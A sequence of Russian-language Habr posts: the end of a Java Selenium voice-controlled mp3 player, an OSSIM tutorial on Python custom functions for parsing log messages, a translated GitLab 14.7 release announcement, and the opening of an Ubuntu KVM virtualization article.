driver.get("http://home.tabatsky.ru/mp3player/desktop.jsp");
}
private static void volumeDown() {
System.out.println("volume down");
volume = (volume>10?volume-20:volume);
setVolume(volume);
}
private static void volumeUp() {
System.out.println("volume up");
volume = (volume<90?volume+20:volume);
setVolume(volume);
}
private static void setVolume(int volume) {
JavascriptExecutor js = (JavascriptExecutor) driver;
js.executeScript("$('#volume_slider').slider('value',"
+ Integer.valueOf(volume) + ")");
js.executeScript("window.setVolume("+Double.valueOf(volume/100.0)+")");
}
private static void play() {
System.out.println("start");
WebElement track = driver.findElement(By.id("0"));
track.click();
}
private static void pause() {
System.out.println("pause");
JavascriptExecutor js = (JavascriptExecutor) driver;
js.executeScript("$('#toogle').trigger('click')");
}
private static void fwd(int n) {
System.out.println("plus " + Integer.valueOf(n).toString());
WebElement fwd = driver.findElement(By.id("fwd"));
for (int i=0; i
```
**По итогам тестирования: сфинкс время от времени путает команды, или принимает за команды посторонние шумы.** | https://habr.com/ru/post/239607/ | null | ru | null |
# Использование custom functions в парсерах OSSIM
Доброго дня, уважаемые!
В продолжение моей [статьи](https://habrahabr.ru/post/304374/) хочу рассмотреть и поделиться опытом работы с функционалом «custom functions», используемом в OSSIM. Это функции, которые предназначены для обработки полученной вследствие разбора (парсинга) журналов событий информации. Обработка может заключаться в разрешении имени по IP адресу, определении геолокации и всего того, на что хватит фантазии. В примере ниже я разберу вариант использования «custom functions» для дополнительного парсинга полученной информации.
#### **1. Для чего это нужно?**
Предположим, что вы извлекаете журналы событий из базы данных (далее — БД), как я описывал в [статье](https://habrahabr.ru/post/304374/). И случилось так, что в одном из полей БД у Вас лежит не одно какое-то значение, например «имя пользователя» или «IP адрес», а целая строка сообщения из которой нужно выделить ключевые слова (например, строка вида «issued command: ls /root; result: ACCEPT»). И Вам из данной строки нужно получить текст команды (ls /root) и результат ее выполнения (ACCEPT).
Очевидно, что стандартным функционалом, доступным для источников журналов событий типа «mysql», это сделать невозможно. Тут-то и приходит на помощь функционал «custom functions». С его помощью из полученной строки мы сможем выделить интересующие нас фрагменты информации. Итак, приступим.
#### **2. Формулировка задачи**
На базе примера из [статьи](https://habrahabr.ru/post/304374/) необходимо выделить информацию об отданной команде (все, что следует после «command:») и результате ее выполнения (все, что следует после «result:») из строки лога, хранимой в базе данных в поле «message». Записать текст команды в поле «userdata3», а результат выполнения команды в поле «userdata4».
Пример таблицы из БД:
```
+---------------------+----------+----------------------+----------+--------------------------------------------+
| date | event_id | event_type | username | message |
+---------------------+----------+----------------------+----------+--------------------------------------------+
| 2016-07-22 17:17:05 | 283 | type 1 | net_adm | issued command: show arp; result: ACCEPT |
| 2016-07-22 17:17:49 | 284 | suspicious activity | operator | issued command: show arp; result: ACCEPT |
| 2016-07-22 17:17:50 | 285 | suspicious activity | admin | issued command: show arp; result: ACCEPT |
| 2016-07-22 17:17:51 | 286 | suspicious activity | guest | issued command: show arp; result: ACCEPT |
| 2016-07-22 17:17:52 | 287 | type 1 | unknown | issued command: show arp; result: ACCEPT |
| 2016-07-22 17:17:53 | 288 | type 1 | valeriy | issued command: show arp; result: ACCEPT |
| 2016-07-22 17:17:54 | 289 | suspicious activity | alex | issued command: show arp; result: ACCEPT |
| 2016-07-22 17:17:55 | 290 | type 1 | cisco | issued command: show arp; result: ACCEPT |
| 2016-07-22 17:17:57 | 291 | suspicious activity | net_adm | issued command: show arp; result: ACCEPT |
+---------------------+----------+----------------------+----------+--------------------------------------------+
```
#### **3. Решение**
Для решения задачи будет выполнено:
* создание функции для выделения информации о команде;
* создание функции для выделения информации о результате выполнения команды;
* дополнительная настройка парсера (ранее созданного в [примере](https://habrahabr.ru/post/304374/)).
Для того, чтобы использовать свою собственную функцию в парсере OSSIM необходимо создать новый файл, например:
```
/usr/share/alienvault/ossim-agent/plugins/db_logs_func.cfg
```
И добавить функции в файл в виде:
```
Start Function <имя функции>
<тело функции>
End Function
```
Функции пишутся на python.
##### **3.1. Создание функции для выделения информации о команде**
Я написал следующую функцию для выделения информации об отданной команде из текста события:
```
def parse_command(input):
res = re.search(r'command:.*;', input)
return (res.group(0).split(": ")[1].strip(";"))
```
Как видно, данная функция с помощью регулярного выражения получает необходимую информацию (все, что находится после «command:» и до последней ";". Говорю последняя т.к. в теле команды тоже могут присутствовать ";") и возвращает ее агенту OSSIM для дальнейшей обработки парсером.
##### **3.2. Создание функции для выделения информации о результате выполнения команды**
Аналогично пишем вторую функцию и добавляем ее в файл:
```
def parse_result(input):
res = re.search(r'result:\s+\S+', input)
return (res.group(0).split(": ")[1])
```
В итоге, файл «/usr/share/alienvault/ossim-agent/plugins/db\_logs\_func.cfg» имеет вид:
```
Start Function parse_command
def parse_command(input):
res = re.search(r'command:.*;', input)
return (res.group(0).split(": ")[1].strip(";"))
End Function
Start Function parse_result
def parse_result(input):
res = re.search(r'result:\s+\S+', input)
return (res.group(0).split(": ")[1])
End Function
```
##### **3.3. Дополнительная настройка парсера**
Подробно на разъяснении всей конфигурации парсера останавливаться не буду, т.к. это уже сделано ранее в [примере](https://habrahabr.ru/post/304374/).
Для сообщения парсеру о необходимости использования файла с созданными функциями нужно в секцию [config] конфигурационного файла парсера дописать дописать следующую строку:
```
custom_functions_file=/etc/ossim/agent/plugin/db_logs_func.cfg
```
Для использования созданных функций в парсере OSSIM используется конфигурационная строка вида:
<поле OSSIM>={<имя функции>(<параметр>)}
Этой строкой мы сообщаем агенту OSSIM в какое поле схемы описания события OSSIM нужно поместить информацию, получаемую применением функции к параметру. А параметром в нашем случае является информация, полученная из БД из поля «message», т.е. текст события вида «issued command: show arp; result: ACCEPT».
Поля OSSIM в нашем примере будут: userdata3, userdata4
Функции, соответственно: «def parse\_command» и «def parse\_result»
Параметром будет "$4"
В итоге, строки, которые нужно ддобавить в конфигурационный файл парсера выглядят так:
```
userdata3={parse_command($4)}
userdata4={parse_result($4)}
```
Ниже приведен итоговый фрагмент (секция query) конфигурационного файла парсера OSSIM:
```
[query]
query="select event_id, date, event_type, username, message from data_table where event_id > $1;"
#order by event_id desc limit 1
regexp=
ref=0
date={normalize_date($1)}
plugin_sid={translate($2)}
username={$3}
userdata1={$4}
userdata2={$2}
userdata3={parse_command($4)}
userdata4={parse_result($4)}
```
После выполнения данных манипуляций необходимо перезапустить агента OSSIM:
```
/etc/init.d/ossim-agent restart
```
После перезапуска не лишним будет проследить за сообщениями в файле лога на предмет ошибок (вдруг где-то закралась):
```
tail -f /var/log/alienvault/agent/agent.log|grep ERROR
```
Если все сделано правильно, то в графическом интерфейсе OSSIM можно увидеть разбор события. Примерно такой, как на рисунке 1.
**Рисунок 1** – Разобранные события в интерфейсе OSSIM
#### **4. Усовершенствование**
Здесь хотелось бы сказать, что первая моя мысль была попробовать передавать два параметра в функцию, чтобы в поля userdata3 и userdata4 записывать разные части из исходного текста.
Например, передавая (текст, 1) получать команду, а (текст, 2) — соответственно, результат. Такое решение мне кажется наиболее изящным.
Я даже написал под это функцию, которая отрабатывает, если запускать ее в командной строке сервера. Но вот агент OSSIM никак не желает принимать два параметра, только один.
Я обратился в alienvault с этим вопросом, но пока ответа не получил. Если у кого есть размышления на эту тему, прошу, пишите в личку или комментарии.
Заранее спасибо! | https://habr.com/ru/post/306258/ | null | ru | null |
# Вышел GitLab 14.7 с трансляцией событий аудита, соответствием GitLab Runner FIPS 140-2 и групповыми токенами доступа
Мы рады представить релиз GitLab 14.7 с [трансляцией событий аудита](#translyaciya-sobytiy-audita), [соответствием GitLab Runner стандарту FIPS 140-2](#gitlab-runner-sootvetstvuet-standartu-fips-140-2), [групповыми токенами доступа](#gruppovye-tokeny-dostupa) и многим другим!
Это — лишь несколько основных из более 25 улучшений этого релиза. Читайте далее, и вы узнаете всё об этих классных обновлениях. Чтобы узнать, что выйдет в следующем месяце, зайдите на страницу [предстоящих релизов](https://about.gitlab.com/direction/kickoff/) и посмотрите видео по релизу 14.8.
[Приглашаем на наши встречи](https://about.gitlab.com/events/).
[MVP](https://about.gitlab.com/community/mvp/) этого месяца — [Fabio Huser](https://gitlab.com/fh1ch)
-----------------------------------------------------------------------------------------------------
Fabio добавил поддержку групповых токенов доступа, как в [UI](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/77449), так и в [REST API](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/77236). Масштаб этого вклада показывает размах работы, вложенной в него: [эпик](https://gitlab.com/groups/gitlab-org/-/epics/3055), три тикета и более 250 голосов сообщества за эту фичу!
Ранее токены доступа были доступны только на уровне проекта. Существовало обходное решение, которое позволяло администраторам самостоятельных инстансов GitLab генерировать групповой токен доступа через консоль Rails, но это оставляло наших клиентов SaaS ни с чем.
Вклад Fabio позволяет любому пользователю с соответствующими привилегиями [генерировать токены доступа](https://docs.gitlab.com/ee/user/group/settings/group_access_tokens.html) на уровне группы. Токены можно генерировать с определёнными заранее [ролью](https://docs.gitlab.com/ee/user/permissions.html), сроком действия и областью применения.
Спасибо Fabio за этот потрясающий вклад! 🙌
Основные фичи релиза GitLab 14.7
--------------------------------
### GitLab Runner соответствует стандарту FIPS 140-2
(Доступно в планах self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Verify](https://about.gitlab.com/stages-devops-lifecycle/verify/)
Для пользователей GitLab из США нормативные требования правительства предписывают использовать программное обеспечение, соответствующее стандартам FIPS (Federal Information Processing Standards, Федеральные стандарты обработки информации). Версии FIPS 140-2 и 140-3 определяют требования безопасности для криптографических модулей, используемых в компьютерных и телекоммуникационных системах, а также в киберсистемах, защищающих конфиденциальную информацию. Обработчик заданий (GitLab Runner) теперь соответствует стандарту FIPS 140-2 для вычислительных архитектур AMD64 и дистрибутивов Red Hat Enterprise Linux. В [этом эпике](https://gitlab.com/groups/gitlab-org/-/epics/5104) вы можете ознакомиться с обсуждениями, посвящёнными обеспечению соответствия GitLab требованиям FIPS.
[Документация по обработчику заданий GitLab](https://docs.gitlab.com/runner/install/index.html#fips-compliant-gitlab-runner) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/27886).
### Трансляция событий аудита
(Доступно в планах SaaS: ULTIMATE; self-managed: ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Теперь вы можете передавать события аудита в выбранное вами место назначения. Это отличный способ сопоставить события аудита из GitLab с другими имеющимися у вас источниками данных, сохранить резервную копию событий аудита или создать собственную автоматизацию для принятия мер при наступлении определённого события.
Вы можете указать конечную точку HTTPS с помощью нашего нового API GraphQL, и события будут отправляться на неё в виде веб-хуков. Эти сообщения содержат ту же информацию, что и в пользовательском интерфейсе событий аудита: какое изменение произошло, когда оно произошло, кто был вовлечён, а также дополнительные метаданные.
После получения этих сообщений вы можете отфильтровать их по пользователям или типам, или передать эти данные в другой сторонний инструмент. Это отличный способ запустить любую пользовательскую автоматизацию по событиям, например, создания нового пользователя или изменения ключевого параметра. Нам не терпится узнать, для чего вы будете использовать эту фичу! Расскажите нам о ваших впечатлениях в [соответствующем эпике](https://gitlab.com/groups/gitlab-org/-/epics/5925).
[Документация по трансляции событий аудита](https://docs.gitlab.com/ee/administration/audit_event_streaming.html) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/6122).
### Групповые токены доступа
(Доступно в планах SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Благодаря групповым токенам доступа вы можете использовать один токен для выполнения действий над группами, управления проектами в группе и для аутентификации в Git по HTTPS (в GitLab 14.2 и более поздних версиях).
Ранее групповые токены доступа были доступны только для самостоятельно управляемых инстансов GitLab и создавались только через консоль Rails. Теперь вы можете создавать групповые токены доступа через пользовательский интерфейс и API. Вы можете указать имя токена, срок действия и область применения. Также можно отозвать существующий групповой токен доступа.
Спасибо [Fabio Huser](https://gitlab.com/fh1ch) за этот вклад!
[Документация по групповым токенам доступа](https://docs.gitlab.com/ee/user/group/settings/group_access_tokens.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/214046).
Другие улучшения в GitLab 14.7
------------------------------
### Удаление меток со страницы редактирования меток
(Доступно в планах SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
В этом релизе мы добавили возможность удаления меток на странице редактирования меток. Это улучшает удобство использования, поскольку наконец-то позволяет пользователям удалять ненужные метки вместо того, чтобы хранить длинный список «устаревших» меток. Удалять можно метки администраторов, проектов и групп.
[Документация по управлению метками](https://docs.gitlab.com/ee/user/project/labels.html#label-management) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/345195).
### Поддержка аварийного восстановления для LDAP
(Доступно в планах self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Теперь вы можете указать несколько хостов в конфигурации LDAP в GitLab, используя `hosts`. GitLab будет использовать первый из доступных хостов. Это гарантирует непрерывный доступ к GitLab, если какой-либо из ваших LDAP-хостов перестанет отвечать на запросы.
Спасибо [Mathieu Parent](https://gitlab.com/sathieu) за этот вклад!
[Документация по конфигурации LDAP](https://docs.gitlab.com/ee/administration/auth/ldap/index.html#basic-configuration-settings) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/139).
### Отключение вопросов персонализации при создании группы
(Доступно в планах SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
В предыдущих релизах мы добавили на страницу создания группы вопросы для персонализации пользовательского опыта. Ответы на эти вопросы могут быть полезными для пользователей SaaS, но пользователей инстансов с самостоятельным управлением они только сбивают с толку, усложняя для них процесс создания группы. В этом релизе, благодаря пользователю [Jonas Wälter](https://gitlab.com/wwwjon), мы добавили возможность отключать эти вопросы.
[Документация по настройкам панели администратора](https://docs.gitlab.com/ee/user/admin_area/settings/third_party_offers.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/349325).
### Сортировка тегов Docker на странице реестра контейнеров
(Доступно в планах SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Package](https://about.gitlab.com/stages-devops-lifecycle/package/)
Теперь вы можете сортировать список тегов на странице с тегами реестра контейнеров по имени. Ранее никакой сортировки тегов не было, из-за чего вам иногда приходилось прокручивать множество страниц, чтобы найти определённый тег. Теперь по умолчанию список тегов отсортирован по имени в порядке возрастания. Вы можете изменить порядок сортировки на убывающий. За дальнейшим процессом разработки этой фичи следите в [этом тикете](https://gitlab.com/gitlab-org/gitlab/-/issues/346362).
[Документация по реестру контейнеров](https://docs.gitlab.com/ee/user/packages/container_registry/#view-the-tags-of-a-specific-image) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/15489).
### Обновления анализаторов SAST
(Доступно в планах SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Статическое тестирование безопасности приложений (SAST) в GitLab включает в себя [множество анализаторов безопасности](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks), активно управляемых, поддерживаемых и обновляемых командой статического анализа GitLab. Ниже представлены обновления анализаторов, выпущенные в релизе 14.7. Эти обновления включают расширенное покрытие, исправления ошибок и прочие улучшения.
* Spotbugs обновлён до версии 2.28.12: [мерж-реквест](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs/-/merge_requests/121) и [список изменений](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs/-/blob/master/CHANGELOG.md). Библиотека Log4j обновлена до исправленной версии 4.5.3. Подробнее в [этой публикации в блоге](https://about.gitlab.com/blog/2021/12/15/updates-and-actions-to-address-logj-in-gitlab/).
* Code Climate обновлён до версии 0.85.26: [мерж-реквест](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78125) и [список изменений](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/CHANGELOG.md#anchor-08526).
Если вы [используете поставляемый GitLab шаблон SAST](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-manually) ([SAST.gitlab-ci.yml](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml)), то вам не нужно ничего делать, чтобы получить эти обновления. Однако если вы переопределяете его или используете свой собственный шаблон CI, вам потребуется обновить конфигурации CI. Также вы можете [закрепить минорную версию анализатора](https://docs.gitlab.com/ee/user/application_security/sast/#pinning-to-minor-image-version), чтобы использовать определённую версию любого анализатора. Закрепление одной из предыдущих версий отменит автоматические обновления анализатора, и вам потребуется вручную менять версию анализатора в шаблоне CI.
[Документация по настройке анализаторов SAST](https://docs.gitlab.com/ee/user/application_security/sast/analyzers) и [оригинальный тикет](https://gitlab.com/gitlab-org/security-products/analyzers).
### Поддержка OpenID Connect для GitLab CI/CD
(Доступно в планах SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Configure](https://about.gitlab.com/stages-devops-lifecycle/configure/)
Подключение GitLab CI/CD к облачным провайдерам с помощью переменных окружения неплохо работает во многих сценариях использования. Однако это решение плохо масштабируется, если вам нужно более продвинутое управление разрешениями, или если вы предпочитаете безопасные и краткосрочные подключения со строго определённым контекстом. В GitLab 12.10 мы добавили первоначальную поддержку JWT-соединения на основе токенов (`CI_JOB_JWT`), чтобы позволить пользователям HashiCorp Vault безопасно извлекать секретные ключи. На основе этой фичи мы разработали возможность подключаться и к другим провайдерам.
В GitLab 14.7 мы представляем переменную окружения [`CI_JOB_JWT_V2`](https://docs.gitlab.com/ee/ci/cloud_services/), которую можно использовать для подключения к AWS, GCP, Vault и, возможно, другим облачным сервисам. Имейте в виду, что эта фича в [альфа-версии](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha) и пока не готова к использованию на продакшене. Мы будем рады, если вы оставите фидбек в [этом эпике](https://gitlab.com/groups/gitlab-org/-/epics/7335).
С новой переменной `CI_JOB_JWT_V2` вы сможете подключаться к AWS для извлечения секретных ключей или для развёртывания через ваш аккаунт. Вы также сможете управлять правами доступа к вашему кластеру через роли AWS IAM. Узнайте больше о настройке [OIDC-соединения с AWS](https://docs.gitlab.com/ee/ci/cloud_services/aws/).
Новая переменная окружения будет автоматически добавлена в ваш конвейер (в русской локализации GitLab «сборочная линия»), но не будет обратно совместимой с текущей переменной `CI_JOB_JWT`. До релиза GitLab 15.0 переменная `CI_JOB_JWT` продолжит работать, но это изменится в одном из [будущих релизов](https://gitlab.com/gitlab-org/gitlab/-/issues/349110). Мы сообщим вам об этом изменении, когда оно произойдёт. `secrets` сейчас использует переменную `CI_JOB_JWT_V1`. Если вы им пользуетесь, вам пока не нужно ничего менять.
[Документация по подключению к облачным сервисам](https://docs.gitlab.com/ee/ci/cloud_services) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/29047).
### Резервное копирование и восстановление файлов реестра пакетов
(Доступно в планах self-managed: FREE, PREMIUM, ULTIMATE) [Доступность](https://about.gitlab.com/handbook/engineering/development/enablement)
[Реестр пакетов GitLab](https://docs.gitlab.com/ee/user/packages/package_registry/) позволяет вам использовать GitLab как приватный или публичный реестр для множества поддерживаемых менеджеров пакетов. До GitLab 14.7 наши [задания Rake по резервному копированию и восстановлению](https://docs.gitlab.com/ee/raketasks/backup_restore.html#back-up-gitlab) не поддерживали файлы реестра пакетов. Теперь GitLab включает файлы реестра пакетов в бэкапы, созданные с помощью команды `gitlab-backup create`. Администраторам больше не нужно придумывать отдельную стратегию резервного копирования для этих файлов, чтобы защитить их от потери данных. Обратите внимание, что это относится только к файлам, хранящимся в файловой системе. Если вы храните файлы реестра пакетов в хранилище объектов, включите резервное копирование с помощью поставщика этого хранилища.
[Документация по резервному копированию в GitLab](https://docs.gitlab.com/ee/raketasks/backup_restore.html#back-up-gitlab) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/332006).
### Отображение заблокированных пользователей в пользовательском интерфейсе
(Доступно в планах SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
В предыдущих версиях GitLab заблокированные пользователи никак не отмечались в пользовательском интерфейсе. Начиная с этой версии рядом с именами заблокированных пользователей будет отображаться слово **Заблокирован** (**Locked**), что позволит администраторам быстро получать информацию о статусе пользователей и, при необходимости, отменять блокировку.
[Документация по разблокировке пользователей](https://docs.gitlab.com/ee/security/unlock_user.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/335032).
### Названия проектов для записей, добавленных в аналитику цикла разработки
(Доступно в планах SaaS: PREMIUM, ULTIMATE; self-managed: PREMIUM, ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Таблица с этапами аналитики цикла разработки для групп теперь включает название проекта для каждого тикета (в русской локализации GitLab «обсуждение») и мерж-реквеста (в русской локализации GitLab «запрос на слияние»), чтобы помочь вам лучше понять данные в этой таблице.
[Документация по аналитике цикла разработки](https://docs.gitlab.com/ee/user/group/value_stream_analytics/#stage-table) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/215290).
### Массовое удаление артефактов с помощью API
(Доступно в планах SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Verify](https://about.gitlab.com/stages-devops-lifecycle/verify/)
Хорошая стратегия по управлению потреблением хранилища — устанавливать правила для истечения срока действия артефактов. Но иногда вам нужно сразу уменьшить количество элементов в хранилище. Раньше вы могли использовать скрипт для автоматизации утомительной задачи по удалению артефактов по одному с помощью вызовов API, но теперь вы можете использовать новую конечную точку API, чтобы быстро и просто удалить множество артефактов заданий.
[Документация по удалению артефактов заданий](https://docs.gitlab.com/ee/api/job_artifacts.html#delete-project-artifacts) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/223793).
### Значки статуса обработчика заданий на панели администратора
(Доступно в планах SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Verify](https://about.gitlab.com/stages-devops-lifecycle/verify/)
Теперь можно легко увидеть состояние каждого обработчика заданий на инстансе. Панель администратора для обработчиков заданий теперь включает значки статуса и крупные цифры, так что вы можете сразу увидеть все важные данные и легко управлять обработчиками.
[Документация по администрированию обработчиков заданий](https://docs.gitlab.com/ee/user/admin_area/#administering-runners) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/346061).
### Основные улучшения производительности Gitleaks
(Доступно в планах SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Основываясь на большом расширении правил в GitLab 14.5 ([оригинальная статья](https://about.gitlab.com/releases/2021/11/22/gitlab-14-5-released/#additional-secret-detection-pattern-support), [перевод](https://habr.com/ru/post/594673/#dopolnitelnye-shablony-dlya-poiska-sekretnyh-klyuchey)), мы обновляем наш [анализатор поиска секретных ключей](https://docs.gitlab.com/ee/user/application_security/secret_detection/), [Gitleaks](https://github.com/zricethezav/gitleaks), до следующей мажорной версии — 8. Эта версия включает в себя масштабные обновления производительности и [новую реализацию](https://github.com/zricethezav/gitleaks/releases/tag/v8.0.0) основного механизма обнаружения. Сканирование истории для обнаружения секретных ключей теперь должно происходить намного быстрее при значительном сокращении использования памяти. Это означает как более быстрое обнаружение, так и более быстрые и более эффективные конвейеры. Это изменение также позволяет нам повысить производительность, что улучшит все задания по обнаружению ключей в будущем.
Вот некоторые реальные данные о производительности, демонстрирующие улучшение по скорости и памяти в этой версии:
* Большой репозиторий (около 82 000 коммитов) <https://github.com/rails/rails>:
+ память: 800 МБ -> 120 МБ (сокращение в 6,67 раза);
+ время сканирования: 28 минут -> 1 минута 24 секунды (ускорение в 21 раз).
* Средний репозиторий (около 600 коммитов) <https://github.com/zricethezav/gitleaks>:
+ память: 300 МБ -> 30 МБ (сокращение в 10 раз);
+ время сканирования: 27 секунд -> 8,9 секунды (ускорение в 3 раза).
* Небольшой репозиторий (36 коммитов) <https://gitlab.com/gitlab-org/security-products/tests/secrets>:
+ память: 26 МБ -> 8,4 МБ (сокращение в 3 раза);
+ время сканирования: 315 мс -> 277 мс.
Мы хотим особо отметить [Zachary Rice](https://gitlab.com/zrice), поскольку он не только [член команды GitLab](https://about.gitlab.com/company/team/#zrice), но и является создателем и мейнтейнером [проекта Gitleaks с открытым исходным кодом](https://github.com/zricethezav/gitleaks), который помог многим организациям, как государственным, так и частным, искать в своих кодовых базах утечку секретных ключей. Мы рады поддержать его работу с Gitleaks, а также его вклад в обширное сообщество открытого исходного кода.
[Документация по настройке анализаторов SAST](https://docs.gitlab.com/ee/user/application_security/sast/analyzers) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/345770).
### Удаление агента GitLab для Kubernetes через пользовательский интерфейс
(Доступно в планах SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Configure](https://about.gitlab.com/stages-devops-lifecycle/configure/)
[Агент GitLab для Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/) тестируется и внедряется сотнями клиентов GitLab каждый месяц. Некоторые пользователи заметили, что удалить зарегистрированный агент из GitLab непросто. До сих пор агент можно было удалить только через API GraphQL. Начиная с GitLab 14.7 можно удалять агент непосредственно из пользовательского интерфейса GitLab.
Когда вы удаляете агент, GitLab отзывает его токены, так что данное соединение сразу перестаёт работать.
[Документация по удалению агента GitLab](https://docs.gitlab.com/ee/user/clusters/agent/#remove-an-agent) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/323055).
### Резервное копирование и восстановление поддерживает файлы состояния Terraform
(Доступно в планах self-managed: FREE, PREMIUM, ULTIMATE) [Доступность](https://about.gitlab.com/handbook/engineering/development/enablement)
[Управляемый GitLab бэкенд состояний Terraform](https://docs.gitlab.com/ee/user/infrastructure/iac/terraform_state.html#gitlab-managed-terraform-state) может безопасно хранить состояния Terraform, избавляя вас от необходимо настраивать дополнительные удалённые ресурсы. До GitLab 14.7 наши [задания Rake по резервному копированию и восстановлению](https://docs.gitlab.com/ee/raketasks/backup_restore.html#back-up-gitlab) не поддерживали файлы состояния Terraform. Теперь GitLab включает файлы состояния Terraform в бэкапы, созданные с помощью команды `gitlab-backup create`. Администраторам больше не нужно придумывать отдельную стратегию резервного копирования для этих файлов, чтобы защитить их от потери данных. Обратите внимание, что это относится только к файлам, хранящимся в файловой системе. Если вы храните файлы состояния Terraform в хранилище объектов, включите резервное копирование с помощью поставщика этого хранилища.
[Документация по резервному копированию и восстановлению с помощью Rake](https://docs.gitlab.com/ee/raketasks/backup_restore.html#back-up-gitlab) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/331806).
### Переход к Git blame из результатов поиска по коду
(Доступно в планах SaaS: PREMIUM, ULTIMATE; self-managed: PREMIUM, ULTIMATE) [Доступность](https://about.gitlab.com/handbook/engineering/development/enablement)
Пользователи часто хотят лучше понимать результаты поиска по коду, например, кто и когда редактировал файл. Начиная с GitLab 14.7 пользователи могут легко это увидеть с меньшим количеством кликов, используя ссылку **Просмотр Git blame** (**View blame**) в результатах глобального поиска. Эта дополнительная ссылка появится рядом со строками кода при наведении указателя мыши на результаты поиска.
[Документация по поиску кода](https://docs.gitlab.com/ee/user/search/#code-search) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/327052).
### Улучшения удобства использования
В каждом релизе мы делаем большие шаги по повышению общей эффективности и полезности нашего продукта. У нас также есть [Галерея UI Polish](https://nicolasdular.gitlab.io/gitlab-polish-gallery/) для отслеживания важных обновлений наших интерфейсов. Эти обновления, хоть часто и небольшие, заметно улучшают удобство использования.
В GitLab 14.7 мы поработали над тикетами, проектами, майлстоунами (в русской локализации GitLab «этапы») и многим другим. Мы особо выделяем следующие изменения в GitLab 14.7:
* [Разрешили пользователям удалять некорректный тег контейнера через пользовательский интерфейс](https://gitlab.com/gitlab-org/gitlab/-/issues/342866).
* [Меню действий показывается только тогда, когда пользователь может удалить образ контейнера](https://gitlab.com/gitlab-org/gitlab/-/issues/342311).
* [Обновили копию настроек проекта для поддержки цепочек мерж-реквестов при мержах «fast forward»](https://gitlab.com/gitlab-org/gitlab/-/issues/282422).
[Посмотрите все улучшения удобства использования в GitLab 14.7](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=%E2%9C%93&state=closed&label_name%5B%5D=UX%20debt).
---
Полный текст релиза и инструкции по обновлению/установке вы можете найти в оригинальном англоязычном посте [GitLab 14.7 released with Streaming Audit Events, GitLab Runner compliance with FIPS 140-2, and Group Access Tokens](https://about.gitlab.com/releases/2022/01/22/gitlab-14-7-released/).
Над переводом с английского работали [cattidourden](https://habr.com/ru/users/cattidourden/), [maryartkey](https://habr.com/ru/users/maryartkey/), [ainoneko](https://habr.com/ru/users/ainoneko/) и [rishavant](https://habr.com/ru/users/rishavant/). | https://habr.com/ru/post/651455/ | null | ru | null |
# Ubuntu, KVM, libvirt и Hetzner
По мотивам [Роутим IPv4 и IPv6 в KVM на примере Hetzner](http://habrahabr.ru/blogs/sysadm/104298/) решил описать свой howto по созданию и организации виртуальных машин.
